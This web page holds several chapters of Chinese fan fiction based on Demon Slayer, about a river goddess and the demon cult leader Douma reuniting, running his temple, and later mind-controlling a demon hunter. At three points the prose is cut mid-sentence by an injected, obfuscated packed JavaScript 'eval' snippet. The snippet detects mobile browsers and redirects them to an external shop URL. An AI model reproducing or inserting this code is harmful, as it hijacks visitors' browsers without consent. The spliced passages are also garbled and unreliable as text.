作为神灵,这是很正常也是意料之中的事,我拼命这样告诉自己,但还是彷徨无措。 以后该去哪里?该做些什么?虽然已经开始适应这浩大的人类世界,但难道我真的要装成人类独自活过无尽的岁月吗? 我登上了神社的后山,这里虽然也杂草丛生,成了野兔子的乐园,但依然能从山坡上看到荒川。两百年前的记忆像潮水般涌上心头,那时荒川的蛇神和白姬像一对形影不离的幽灵,她们见过这里的每个清晨和黄昏,彼此的记忆和愿望最终融为了一体。 我想起了明子夫人提出的那个问题: 父母未生之前,我是谁? 那天她告诉我另一种说法,传说有些灵魂在来到世间时会分成两半,各自体验不同的生命形式,最终在某个时刻合为一体,如此一来,这个完整的灵魂就能得到蜕变和成长。 我不知道她从哪听来这些稀奇古怪的说法,也许是坐禅时的顿悟?但听上去还挺有道理。 时值三月的黄昏,荒川在夕阳下像一条金色的带子一样闪闪发光,我想起两百年前那个傍晚,也有两个孩子坐在这片山坡上,看日落月升,星星一颗颗出现在天空上,有星光映在极乐教小神子那美的动人心魄的眼睛里。 那样璀璨的一双眼睛,却一生被囚禁在牢笼中,从未见过世间光明。 也许这就是所谓“神明之子”的宿命? 一片花瓣飘落在我面前,我抬起头来,发现山坡上的那棵樱花树竟然开花了。垂下的枝条上压满了一层层花朵,早春刚返青的土地上铺开了一层浅白浅粉的花瓣,甚是好看。 真稀奇,这树怎么也有两百多年了,竟然还能开出一树绚烂的重瓣樱,而且也开的太早了吧。 我笑着叹了口气,幸亏这是人世,要是在地狱里,大概又是幻觉。 回到神社里时,天色已经完全黑了。我来到原先正殿的地方,将附近的荒草清理了一下,然后依然坐在了那块神坛下的石头上。那里正对着从山下上来的参道和鸟居,曾经是来神社拜谒的人的必经之路。 当年的那个孩子,正是从那里被神辇一路抬进了荒川神社。 当时的情景在眼前一幕幕重现。白衣的女侍者们边唱经,边抛洒莲花的花瓣,然后是同样身着白衣的男侍者们抬着一架乌木造的、四面装饰着金色莲华纹的神辇缓缓走上台阶,走过鸟居,步入正殿。神辇上端坐的孩子身披黑色的法衣,有着洁白无垢的发色,眉目低垂,嘴角含着一丝若有若无的微笑。 一路摇铃声不绝于耳,那孩子在正殿的天光下睁开眼睛,虹彩流转在剔透的瞳仁里,像是莲花中生出的摩尼宝珠。 夜风渐冷,此处只有荒草萋萋。 手臂上感到一阵冰凉,我低头看去,发现那是一片晶莹剔透的六角雪花。 下雪了?在这樱花已经开了的早春? 纷纷扬扬的大雪从天而降,我伸出双手,难以置信地望着那些落在手心的雪花。 心脏砰砰地跳动起来。 抬起头,我发现参道前破破烂烂的鸟居下不知何时多了个影子,不由得揉了揉眼睛。 是幻觉,一定是。 白发红衣的鬼,带着一脸无忧无虑的微笑。 是幻觉是幻觉… “诶呀诶呀,看来没有找错地方呀!” 不不不这贱兮兮的语气也是幻觉… 我呆呆地看着那个身影离我越来越近,还朝我笑眯眯地挥了挥手。 “小染~好久不见啦~” 假的假的假的… “诶?怎么不理人家嘛~” 瞬间那个红色的影子已经到了眼前,弯下腰莫名其妙地看着我。 “好可怜,不会是脑子坏掉了吧?” 我抱着膝盖一动不动地盯着他。 “诶?诶?”他伸手在我眼前晃了晃,自言自语地说,“奇怪,当时应该修好了呀。啊,你的头发和眼睛是用了拟态吗?很不错哦,衣服也很可爱呢~不过小染怎么每次都住在这种寒酸的地方呢?真是太可怜了,这地方连鬼都不会住嘛~” “你,你是假的吧?” 我只感觉全身在发抖,血液在疯狂奔流。 鬼歪了歪头,在我面前蹲了下来。 “这是什么话?怎么才见面说话就这么伤人呐?”他居然显得有点委屈,“不是约好了春天见面嘛,这次人家可没有忘掉,一回来就直接赶来见你啦,小染好冷淡呀,难道就一点都不想念…” 话音未落,我已经扑过去抱住了他,不可抑制地大哭出声: “你这混蛋!混蛋童磨!你从什么地方冒出来的啊?!不原谅你,绝对不原谅你,你太过分了啊…” “当然是从地狱里啦。美子酱和小月读他们非要人家帮忙把弄坏的地方修好,我又是个大好人,不忍心丢下他们不管嘛。诶呀,小染连哭起来的样子都好可爱呢,好啦好啦,没事了哦,要是知道小染这么可怜,人家就早一点回来了,诶呀,好啦好啦~” 好像两百年来所有的眼泪都在这一刻涌了出来,哭声甚至惊起了一群夜鸟,它们拍打翅膀的声音在落雪的寂静中传出了很远。 我哭的上气不接下气,童磨像哄孩子似的抱住我摇来摇去,还时不时拍拍我的背。 “小染的身体还是这么温暖啊,”他在我颈边轻轻吸了口气,“味道也还是这么香,一点也没有变呢。真是太好啦,果然还是想见到你呢,下次再那样不事先商量就一个人逃掉,我会生气的哦?” “我没有逃…我也舍不得童磨大人…还以为再也见不到你了…都已经一年了…我遇到了好多事啊…”我趴在鬼的肩膀上语无伦次地哽咽道,“对不起,我不想这么哭的…明明发过誓…绝对不要在你面前哭的…可我控制不住所以这次不算…” “诶?为什么不能在我面前哭呀?” “因为那些人都在你面前哭,我不想跟他们一样!”我抹着眼泪大声说,“我不要做那么没用的人,我…我想看到你真正的笑啊!” 拍着我后背的手微微停顿了一下。 “原来如此,真是个傻孩子呢…” 鬼轻声叹息道。 “我不会觉得小染是没用的人,所以不要这样苛责自己。你已经做的很好啦,是勇敢的女孩子哦。” 他温和地摸了摸我的头。 “听到了吗,白姬小姐?已经可以了哦。“ 像一个久远的封印突然被破除,又像一个悲伤的灵魂终于得到了解脱,我周身升腾起金色的灵光,雨水夹在纷飞的雪花中倾盆而下。 “听到了…我听到了…” 心中有个小小的、女孩子的声音和我一起哭着说。 “谢谢你记起我的名字…你能回来真是太好了…” 那个两百年前跳进荒川的女孩子,到这一刻,才真正获得了救赎。 为了防止情绪过于激动导致荒川泛滥之类的天灾,我哭了一通后终于止住了眼泪。 “所以是伊奘冉尊是怎么同意放你走的?我还以为他们会把你丢到其他的地方去呢。” 我一边扒拉那只鬼头发上的碎冰渣一边说。 以后要注意控制情绪,或者记得随身带把伞。 “当然是因为人家工作认真,很受大家欢迎嘛。”童磨笑嘻嘻地说,“除了把弄坏的地方修好,还帮了很多别的忙哦。不过也有点奇怪,本来小月读说了,如果他们帮忙把小染恢复原样,我就要为他们工作一百年呐,可不知道为什么,刚过了这么点时间,美子酱就说不需要我帮忙了,让我快点离开,一点也没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252365|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挽留人家的意思呢,真是好可惜…” “等等,”我终于听出了哪里不对。 “美子酱?你管伊奘冉尊叫美子酱?当着她的面也这么叫?“ “这样显得多亲密呀,因为我们是朋友才这样叫她哦。”鬼相当真诚地说,“美子酱很喜欢这个称呼哦,感动的脸都会烂掉呢,呵呵呵别提多可爱了~” “……童磨大人,你都在地狱里转了一圈,这脑子怎么也没见好啊?”我掩面哀叹道,“她最讨厌那个名字了,居然没有杀了你,我该说你运气好还是命大呢?” 鬼满脸惊讶,“怎么会呢,美子酱不会杀我的,因为我帮了她一个大忙哦。” “诶?什么大忙?” 童磨大人伸出一根手指,做了个“嘘”的动作。 “这个嘛,现在保密~” 哼,看他笑的像只狐狸,就知道肯定不是什么好事。 “好啦,那我们现在就走吧,这样天亮前就可以回到寺里啦,啊啊,一年没见,不知道我亲爱的信徒们有没有想念我这个教主呐?想想就觉得好期待呀~” 鬼拍拍衣服,若无其事地站起身来,好像刚从什么地方旅行回来一样。 “咦,你不是住在京都吗?”我愕然道,“什么时候搬到东京的?“ “之前是在京都,但早就搬到这边啦,我想想,对了,应该是我晋升到上弦之六的那一年。”他眨眨眼睛,“京都那边好吃的女孩子太少,而且总不能在御所的眼皮底下吃人嘛。这边的山里就不一样了,人家特意找了个人少的地方,不过到了秋天,枫叶和京都那边一样漂亮哦。走吧走吧,小染一定会喜欢我那里的~” 呃,这个我还真…有点犹豫,死灵地狱的幻境里,那个极乐教给我留下了极大的阴影。 “我…我这边还有工作呢!最近只是大学放假了,店里没什么事所以暂时请假而已,还有老板经常会找我帮忙看骨董。”我为难地说,“而且你那堆信徒实在是…” 不,你确定你还有信徒在吗? 鬼有点好奇地看着我。 “大学?店里?小染到底在做些什么事呢?听起来很有趣哦。” “我在一家咖啡馆给洋人工作,还去大学里旁听,还帮人、帮人鉴别骨董…” 眼见他看我的眼神越来越诡异,我连忙争辩道: “因为没钱嘛!我一个神灵,又不能去偷钱,不工作还能干嘛?连神社都要被收回了…” 鬼立刻掉下几滴同情的眼泪。 “好可怜,小染真是太可怜了…身为神灵竟然要做这么多工作吗?听起来好辛苦呢。不过你这个神社都破成这样了,留着也没什么用吧?” “不一样的。再破也是我的荒川神社,是和你第一次见面的地方,我很珍惜这里的记忆哦。” 我轻轻叹了口气,“不过童磨大人说的也有道理,我不该过分执着于这里。大学开学后我还要回去工作,所以…这个月就先去你那里借住一下好了,是借住哦。” “没问题,早就说过嘛,我的教会专门给无家可归的人提供庇护。”鬼笑的极其纯良,“无家可归的神灵也算哦。” “对了,我有东西要给你。” 我从草丛里翻出一只布包,在他面前打开,金色的对扇上折射出凛凛的雪光。 “哇啊!小染是在哪里找到的呀?” 鬼惊讶地睁大了眼睛。 “之前用的不知道为什么从地狱出来后就不见了,人家还在想要不要找人打一对新的呐。” “笨蛋,因为地狱里的是灵体,你还不懂怎么把灵体转化成实物吧?”我得意地说,“这是我从无限城的废墟里翻出来的,厉害不厉害?就跟你说我捡破烂的技术是一流的!” 童磨拿起他的扇子,金属的扇叶发出刀剑般铮然的摩擦声,在他修长的手指间哗的展开。 他嘴角勾起一抹专属于上弦鬼的笑意。 “这下就完美啦,啊,这可真是个美好的夜晚呀!” 89. 终章:花(6) 我从未想过,有一天真的能和他一起走在人世的路上。 山间的早樱含苞欲放,天光未亮,空气还很凉,微风送来各种植物和花的味道,一条蜿蜒曲折的小路穿过陡峭的悬崖和岩石间像水晶般清澈湍急的溪流,一直延伸到山腰处,在那里依稀能看见一座沉浸在夜色中的古朴建筑。 “这山也太高了,幸亏没把我的自行车带来,否则轮子大概会坏掉。” “不愧是小染,这么快就适应了人类的生活吗?不过那种东西听起来就没什么用哦?” “很好玩的呀,周末可以骑车去隅田川边晒太阳,城里的人都这么干。我还会做点心呢,从奶油蛋糕到司康全都会烤,到了赏樱季,河边的樱花树下就全是野餐的人,每家吃的东西都不一样呢。诶,你知道最近城里最流行吃什么吗?是炸猪排和咖喱饭哦,还有拉面也不错,荞麦面我尝了一次,感觉不是太好吃。” 这次变成了我说,他听。这一年来的种种新奇经历,我恨不得一次全都告诉他。 “我去了浅草,看到了电车哦,不过因为上班的人太多了所以没挤上去。对了,帝国剧场排了西洋歌剧,是个叫宝冢的新剧团哦,据说超级受欢迎呢!” “诶?听起来好有趣呀!”鬼微微睁大了眼睛,“下次人家也要去。” “好呀,我带童磨大人去喝咖啡。不过我还是不太习惯那个的味道,英式红茶倒还不错哦。还有还有,我老板最近买了一台留声机…” 说话间就已经走到了那座寺庙的大门口,从外面看上去这只是一座普通的寺庙,乌木牌子上写着颇具古风的“极乐寺“三个字。 这地方…真的不是鬼屋吗? 不过大门里面竟然传出有人说话的声音,声音还不小。 童磨不声不响地将门推开一道缝,向里面看去。 院子里竟然站着好几个人,都穿着白衣服,把一个男人围在中间。为首的是个长相严肃的光头,正厉声在斥责对方。 “高桥,你跟大家老实说,这是第几次偷寺里的东西了?被我抓住都是第三次了吧?而且这是教主大人房里的东西吧?你好大的胆子,竟然敢偷教主大人的东西?” 挨骂的男人穿着普通的和服,怀里好像抱着个盒子,嘴上却不服气地说:“教主大人都失踪一年多了吧?之前来的那帮人不是说了吗,教主大人根本不是人,是吃人的鬼!山田你们到底是装傻还是真傻?和子她们人都去哪了你心里没数吗?” “住口!那种身份不明的人的无稽之谈你也相信,还拿来污蔑教主大人,真是不可原谅!当初明明是你说自己家里人都不在了,又病的很严重,实在活不下去才来这里求教主大人收留,你就是这样报答神明的恩情的?“ 男人冷笑道:“山田,你不用在我面前装什么好人,你们家的人代代侍奉那个怪物,听说有百年了吧?中间拿了多少好处你自己明白!我只不过是拿我应得的那份,你们这一年也快把帐上的钱花光了吧?你的教主大人不会回来了,依我看大家把教里剩下的东西分一分,各自找出路得了。” 光头的神色瞬间变得阴沉:“帐上的钱是给大家买米和看病买药了,你不信可以去查。但你用如此恶毒的话亵渎神明,今天哪里也别想去!“ “诶?你们在吵什么呐?” 童磨带着一脸和蔼可亲的笑容,若无其事地推开门走了进去。 一院子人顿时全都愣在原地,那个叫山田的光头居然眼圈一红,跪在了地上。 “教主大人,您回来了…” “教主大人。” “教主大人。” …… ……不用这么夸张吧,这种像拜神一样的跪法。 “辛苦大家了,都起来吧。” 教主大人以一种温和又沉稳的声音说。 “信徒之间要彼此友爱,不要争执哦。山田,高桥,你们两个跟我到经堂来。其他的人准备早课吧。” 他似笑非笑地朝我看了一眼:“小染也跟我来吧。” 诶?不是吧?进门就要工作吗? 我有点忐忑地跪坐在燃着檀香的经堂里,看着屋檐下的一排排铜铃铛和无数写着“极乐”二字的白幡,以及纸门上那一朵朵栩栩如生的莲花,才意识到这座极乐寺是真的存在。 门外是宽敞的外殿,垂着排排流苏和锦缎镶边的竹帘,一根根方形的桐木柱子支撑起用金漆描着莲纹的屋顶,走廊的地板则是由昂贵的乌木铺就,擦的一尘不染,看来这些信徒在童磨离开的这一年中,竟然还真的在尽力维护这座寺院的运转。 人类的信仰,到底是愚昧的举动,还是世上最有力量的东西,我始终无法理解。 唯一可以理解的是…… 这鬼是真有钱啊! 在咖啡店工作的这一年,我也逐渐了解了人类的收入和市面上的物价。这种规模的寺庙,虽然没法和那些公家的官庙相比,维持其日常运转的费用也相当可观了。 尚且不提教团的日常开销和常驻信众生活的花费,光是这种上百年的建筑,修缮和日常维护就是一笔巨资,倘若没有寺产,那就是有信徒的大量供奉,否则看看荒川神社就知道了。 我的思绪被那跪在地上痛哭失声的男人给拽了回来。 名叫高桥的男人一把鼻涕一把眼泪的诉说自己在这一年如何拼命照顾教中的老弱,如何跟官府周旋,自己如何不容易,如何因为得罪了山田而被其带人排挤,就是只字不提偷东西的事。 童磨换上了黑色的法袍,头戴毗卢帽,一脸微笑地倾听着,时不时还安慰两句: “真是太不容易了,高桥君,您的奉献神明是看得见的哦。” 这就叫“职业化”——我最近新学了这么个词,感觉用在这只鬼身上特别合适。 意思就是做什么工作像什么工作的样子。做上弦有上弦的样子,做教主有教主的样子,从不拖泥带水,童磨大人堪称职人的楷模! 话说好久不见他穿这身,差点忘了他的神棍身份…突然这么温柔可亲真让人有点不适应… 于是我忍不住试着用脑内通讯提醒他: ——“这人至少偷了你七八次东西,外面还有专门销赃的地方。” ——“啊,是吗?我还以为最多只有五六次呐。” ——“绝对有七八次。而且之前鬼杀队的人是他招来的,他去当铺卖被你吃掉的女信徒的首饰,上面的血腥味引起了负责这片的猎鬼人的注意,就带人来了。” ——“这样啊,人类果然很麻烦呢。不如小染来问问他?” ——“啊?我才不要呢!这种无赖我躲都来不及,谁知道你这教里情况这么复杂啊!” ——“所以才无聊嘛。”鬼无辜地回我,“又不是人家要当这个教主的,谁叫我是个善良的人嘛。” 我在心里默默翻了个白眼。 ——“那我只能做那个不善良的人喽。” “抱歉,教主大人,能否容我问句话?” 我轻轻向他躬身道。 “可以哦。”教主大人笑眯眯地说。 我站起身走到那男人面前坐下,微笑着说: “高桥先生,你这次是打算把东西卖到日本桥的当铺去,是吗?当铺的名字叫‘千野典当行’?” 男人的脸色刷的白了。 “你,你这莫名其妙的女人在胡说些什么?教主大人,她污蔑我!” “高桥君,这位小姐是我新来的女侍,不是什么‘莫名其妙的女人’。” 童磨不紧不慢地说:“况且我们万世极乐教的教义之一是待人要平和有礼,您忘记了吗?” 男人显然不敢顶撞他,只能恶狠狠地瞪着我。 于是我朝他笑了笑,继续说: “上一次也是这家当铺,你卖的是什么?” “没,没有那种事!你…” “是一尊玉雕佛像,大概这么高?”我比划了一下,“卖了一千元,你还很高兴,原先没想到这么值钱,是吗?天呐,这种亵渎神明的事你也做的出来?” ”太可怜了,高桥君,这种行为是无法获得神明救赎的。”教主大人在后面适时地流下了眼泪,“我真为您感到难过。” 男人全身都发起抖来,结结巴巴地说,“你是怎么…你…我…我没有…” 我凑的离他近了一点:“这些都没关系,但你为什么要偷女信徒的首饰去卖?你在当铺里遇到个穿羽织的人,他问你东西从哪里来的,你想骗他说是你家传的,但那人不信,还逼问你,你看他腰上有刀就害怕了,改口把极乐寺的位置告诉了他们,对吗?” “原来是你啊!高桥!”山田气的大叫起来,“那群人是你引来的啊!教主大人,要不是我们十几个人拼命拦住他们,那些人就闯进来了!把大家都吓坏了!我吓唬他们说会报告给我们认识的议员,那些奇怪的人才走了,就算这样还是吓跑了很多信徒啊!” “做得好,山田先生。”我由衷地说,“下次再遇到这种无礼之徒,不仅要上报给议员,还要告诉报社呢,这种光天化日擅闯寺院、打扰信徒清净修行的暴力行为,报纸一定很乐意登 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这些事以前不都是和子小姐负责吗?” “教主大人…和子一年前就被您送去极乐了。” 山田恭恭敬敬地回答道。 我差点把嘴里的茶水喷出去。 哈哈哈!谁说没有报应?!这就叫报应啊童磨大人! 然而童磨大人并不懂尴尬为何物,只听他慢条斯理地说: “这样的话,以后教中的账目就都交给小染好了。山田,你把所有的情况跟她讲一下。我还有事,先回房里了。” 我目瞪口呆地看着那只鬼朝我眨了下眼睛,然后理直气壮地溜之大吉。 哦,天亮了。 于是我只好忍住自己想砸桌子的冲动,规规矩矩地朝那位光头男子行了个礼。 “敝姓荒川,山田先生,请您多关照啦。” 多亏在咖啡馆工作了一年,期间管过半年的帐,我跟山田折腾到了傍晚,才把那一摞账本上的东西理出个头绪来。 “所以目前还有几家店铺没有交帐的?”我问道。 山田拿出一张东京府的地图,给我指了指上面的某条街道。 “荒川小姐,是神乐坂的店铺。” “具体是哪几家呢?” “啊,其实…这条街的店铺都是。” 我吓的笔都掉了。 “那个…麻烦您再说一遍?” “您可能不了解,我家先祖的日记里曾经写到过,早在幕末时有一位经营纸和棉布生意的商人将当时在神乐坂的几家店铺捐赠给了极乐教,希望教主大人保佑他死后前往极乐净土,当时那里还是花街。后来依靠神明的庇佑,教团慢慢买下了街上其他店铺的所有权,现在整条街都是极乐教的产业。” 山田依然恭敬地说,“这些就拜托您了,荒川小姐。” ”……等等,所以你知道教主大人…活了多少年是吗?” 这下山田露出了极为虔诚的表情。 “我的家族世代担任万世极乐教的护教,教主大人是真正的神明之子,这件事我们都很清楚。请您不要相信那些亵渎神明的言论,恕我直言,能有幸见到人间的神明并侍奉左右,是您的福气。” “………” 我承认自己被惊呆了。 我低估了人类信仰的力量。 然而值得反思的是,作为一个真正的神灵,为什么我混的还不如一只鬼??? 90. 终章:花(7) “山田先生,您快去看看吧,院子里要出事了!” 忽然有个信徒急匆匆跑来说道。 我跟着山田到寺庙的前殿一看,只见院子里围了不少人,天色已经黑下来了,但依然能清楚地看到高桥跪在中间,精神恍惚地还在嘟囔什么,一群信徒围着他在骂。 “太过分了…” “竟然做出这种亵渎神明的事…” “和外面不明身份的人勾结在一起倒卖教里的财产,真是不可饶恕啊!” “还敢口口声声污蔑教主大人是吃人鬼,这种人真是罪孽深重!应该受到神明的惩罚!” 我抬头看见童磨悄无声息地站在走廊上,仿佛真正的神明般无悲无喜地看着他的信徒们。 忽然明白,两百年来,这种事他已经见过太多。 “各位!”山田高声说,“请各位安静,这件事应该交给教主大人定夺!” 四下立刻鸦雀无声,看得出这些在鬼杀队来过后依然选择留下来的几十名信徒,多数还是真正的虔信者,然而也可能只是因为他们实在无处可去罢了。 童磨温和沉稳的声音在黑暗中响起。 “我知道教团在这一年中经历了很多事,也完全理解诸位不安的心情,但大家都经受住了神明的考验,非常的了不起哦。” “诸位一定想知道这一年我去了哪里,为什么会丢下你们不管,对吗?” “很遗憾,关于这件事,有太多不可说的秘密,这是因为诸位的修行尚且不够,无法参悟其中的境界。能够告诉大家的是——” “我亲身去过极乐净土了,那里非常的幸福哦。” 紧接着,极乐教的教主大人用一种极具蛊惑性的语气说道: “神明让我传达给大家的意志是,只有在世间完成所有修行、放下所有私欲和执念的人,才能获得前往极乐净土的资格。像高桥君这样的人,或是那些信心不足的人,是无法达到极乐的境界的。因此在日常的修行中,大家需要时刻留意自己是否对神明具有足够的信心,并及时做出忏悔,只有这么做的人,才能获得神明的救赎。” “请诸位放心,作为神明之子,我会在永恒的时光中指引大家。所以在接下来的这些天,我会逐个倾听大家的祷告和忏悔哦。” 这地方的人果然都不是太正常。 我看着那群跪在地上感动的涕泪交流的信徒,心想幸好无惨大人要求这只鬼把信徒数量控制在两百五十人以内,否则照童磨大人这张传起教来滔滔不绝的嘴,大概要闹出大事。 毕竟听山田君的意思,包括他自己在内的相当一部分信徒是明白“送去极乐”的真实含义的,然而并没有人对此提出任何异议,以致于无限城决战前,教主大人一次送了十几个女孩子去极乐,他这些忠实的信众到现在还坚信那些姑娘是真的去往了极乐世界,获得了幸福。 好在童磨大人从地狱回来后大发慈悲,“委婉地”抬高了去极乐的门槛,否则这些人一听极乐世界真的存在,怕是要前赴后继地去死。 在教主大人慈悲的宽赦下,我将丢了魂似的高桥先生送出了极乐寺的大门,顺便抹去了他在此处的所有记忆,包括他和鬼杀队产生过的联系。 我递给他一盏纸灯笼,但愿他下山时不会掉下那些悬崖峭壁,或者遭遇什么毒蛇猛兽。 要知道这地方真的挺偏僻的,当年琴叶连出去的路都没能找到。 山田安排了一间宽敞的、正对庭院的和室给我,拉开纸门就能看到院子里的莲池。早春的莲叶还没长出来,夜风带来阵阵清幽的嫩草气息。 点了支蜡烛,我就着月光和烛光接着整理那一堆乱七八糟的账目,没留意身后不知何时伸过来一双冰冷的手,轻轻揽住了我的腰。 鬼走路果然一点声音都没有,加上这家伙学会了隐藏气息,连我都吓了一跳。 “已经这么晚了,小染还在工作嘛?” 鬼的眼睛在明灭的烛火中被染上了一线暖色,他凑近我耳畔轻声说: “往常这个时候,可是人家的晚饭时间呐。” 被他撩的实在写不下去,我叹了口气,拨开头发露出半边的脖子。 没想到他只是懒洋洋地趴在了桌上。 “开玩笑而已啦,忽然不舍得吃小染了呢,毕竟之前吃掉了你大部分的灵体,人家可是心疼的很呢。” “天呐,童磨大人进步了,开始懂得什么叫心疼了。”我故作惊讶道,“可喜可贺啊。” “说起来还是地狱里更有趣呢,回来就尽是这些无聊的事。”鬼抱怨道,“小染就不要走了嘛,陪我住在这里不好吗?你看看今天这群蠢货,人家简直完全不想在他们身上浪费时间呢。” 我忍俊不禁,“我看你处理的相当圆滑啊,天下没有无条件的救赎,这样的话,以后他们再遇到类似的事,就会先想想是不是自己对神明缺乏信心了,在他们为此而忏悔的时候,你也更容易了解信徒的心思。但能把地狱硬说成极乐净土,我也是佩服你。” “有什么区别呢?”童磨满脸天真无辜,“反正都是人类编造出来的童话。不过你是怎么做到的呀,一下子就知道那个人在想什么?” “是神明的意念压制啦,人类的思想对神来说是透明的。说到这个,”我将一张纸条放在桌上,“那个高桥之前和猎鬼人有过接触,我想按这个地址去确认一下,把隐患消除掉。” “啊,对了对了,美子酱让我把这个带给你,她说你知道该怎么办。” 童磨将一块暗红色的石头放在了桌上,在烛火里,能看到半透明的石头内部,是仍然像活物般涌动着的鲜血。 “伊奘冉尊还真是偏爱无惨大人啊。”我叹息道。 “呵呵,也只是为了让游戏更有趣罢了。” “如此说来,我倒是有样东西,能让游戏真的变有趣哦。” “是什么是什么?“鬼兴奋地问。 我微笑着伸出手,手心里躺着一颗黑色的、小小的种子。 “诶?这是什么?”童磨好奇地端详着那颗种子,“上面有血的味道,是小染的血吗?“ “的确是我的血,但也是融合了童磨大人的鬼血后,从虚无中诞生的东西。” 我轻声念道:“沧龙·万物甦生。” 一株青绿的嫩芽破开种子的外皮,迅速地生长,抽出细细的茎叶,结出花苞。 最后,开出了一朵青蓝色的花。 鬼的眼睛瞬间睁大。 “诶诶,这该不会就是那个吧?” 从容冷静如童磨,竟然也有语气中带上三分激动的时刻。 “就是那个——”我故意拖长了声音说,“我之前在云取山…” 话还没说完,那朵青色的花已经不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252367|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见了,童磨用舌尖舔舔獠牙,露出略失望的表情。 “好像也没什么特别的味道嘛,就是花而已。” “本来就是花啊!”我气的直想拍桌子,“可你怎么说吃就吃啊,也不怕食物中毒!?” 天色还暗着,我俩坐在檐廊下,像之前在地狱里的无数个日夜一样,有一搭没一搭地说着话。 “先说好了,我可不知道这东西吃多少、怎么吃才管用,要是感觉不对你马上跑。” 童磨却没有答话,他倚着一根柱子,表情竟然显得有些茫然。 “小染,这是什么感觉呢?好奇怪…好像心脏跳的很快,但又有点想要马上回到屋子里去,明明应该开心才对吧?” “这个叫做‘紧张’啦,笨蛋。“我靠过去握住他的一只手,“这样有没有好一点?“ “好像是真的诶,为什么呢?” “因为人在紧张害怕的时候,是需要有亲近的人在身边的。童磨大人没有体会过这种感觉,第一次的确会不太适应吧。“ “这种感觉啊…其实有过的哦。”鬼轻声说,“但已经是很久以前的事了。” “第一次被信徒围在中间,看到他们在哭的时候,还以为自己做错了什么事,想找父亲和母亲,他们都不理我…” “现在忽然觉得,那些人的脸,真是让人讨厌啊…” 我微微一笑,说道: “很简单,觉得讨厌的时候,就不看他们好了。去看花,看星星,看漂亮的东西,心情就会变好的。” “看到小染心情也会变好哦。” “因为我是神明嘛,谁叫你之前不相信神明存在的。” “与其说是神明的力量,不如说是那种叫做‘希望’的东西吧?我倒是在那些猎鬼人身上见过那种东西哦,真是无法理解呢,人类明明是那么虚无缥缈的存在。” “那是因为人类的希望从来不只寄托于自身的生死,也寄托在他人身上,在后代身上。怀有希望,人才能活下去,至于结果如何,其实并不是那么重要。” 我认真地看着他:“就像此时此刻,我也一样怀着希望。” 东方的天空不知何时染上了一抹粉紫色,之后是越来越明亮的橙色,终于,一轮红色的旭日,在地平线上缓缓升起。 我紧紧握住他的手,等待着这鬼之一族千年未见的时刻。 日轮从红色变成金色,浩荡的光芒遍洒在远远近近的山峰上,远处山顶的积雪上跳动着无数光点,像是被镀上了一层黄金。 同样的光映在那双剔透的彩虹瞳里,点燃了令人惊叹的华美色彩,像是世上最名贵的宝石。 “是太阳啊…”鬼盯着那轮旭日,以一种半是惊奇、半是叹息的语气说道,“真是好久不见了呀…” “你有什么感觉吗?”我紧张地看着他。 “好像没有哦?”童磨眨眨眼睛,伸出手看了看,“鬼血也没有什么变化呢。” 我暗暗松了口气,眼泪差点掉下来。 在我们漫长的生命中,这将永远是值得铭记的一天。 “所以,这次我们赌赢了对吗,小染?” “对,我们赢了…” 鬼的脸上露出一抹意味深长的微笑,看向了屋子里桌上那颗闪着暗光的血石。 “诶呀呀,大人,属于我们的游戏,好像才刚刚开始呐~” 91. 终章:花(8) 一个月后。东京府某处。 眼前是一座看上去很普通的和式住宅,只有房门的边上挂着一束已经干枯褪色的紫藤花。我伸出手敲响了房门。 “来了来了。” 开门的是个梳着分头的年轻人,看到我微微愣了愣。 “您是…” “您是村田先生吗?” 我露出甜美的微笑,“我是日本桥那家千野典当行新来的职员,之前您和您的朋友惠顾过我们这里,但已经很久没有来过了,老板因此委托我来上门拜访,想看看我们是否有什么能为您效劳的?” 年轻人挠了挠头,不知道为什么有点脸红,“没,没问题,进来吧。啊,您还带了点心吗?真是太客气了。” “一点心意而已,是最近在银座那边很流行的洋果子哦。” 我跟着他走进了那座房子,在客厅的茶桌旁坐下,年轻人端来了抹茶。 “千野典当行…奇怪,之前应该告诉过你们终止合作了呀。”年轻人边倒茶边说,“难道是我们内部人员没有说清?我得问一下有关的同事…” “啊,不必客气。”我拿起茶杯,“其实我只是想知道,负责那片区域的‘柱’是哪一位呀?” 年轻人的手抖了一下,动作突然僵住,不可思议地盯着我: “你,你在说什么?” “我明白了,是水柱吗?他的名字是什么?” “等等!你到底是…” “富冈先生吗?”我点了点头,紧紧盯住了他的双眼,“那我再问一个问题,产屋敷家的家主,住在哪里?” 村田的眼神变得呆滞,口中不由自主地说道:“大战之后就…搬离原先的地方了…只有…柱可以去…鬼杀队在一年前…解散了…” “好的,我没有其他疑问了,您不必担心。现在睡一会儿吧,等您醒来,是不会记得我来访过的。” 他一头栽倒在地上,呼呼大睡起来。 “哇啊,这也太简单了,小染的这个技能好方便呀~” 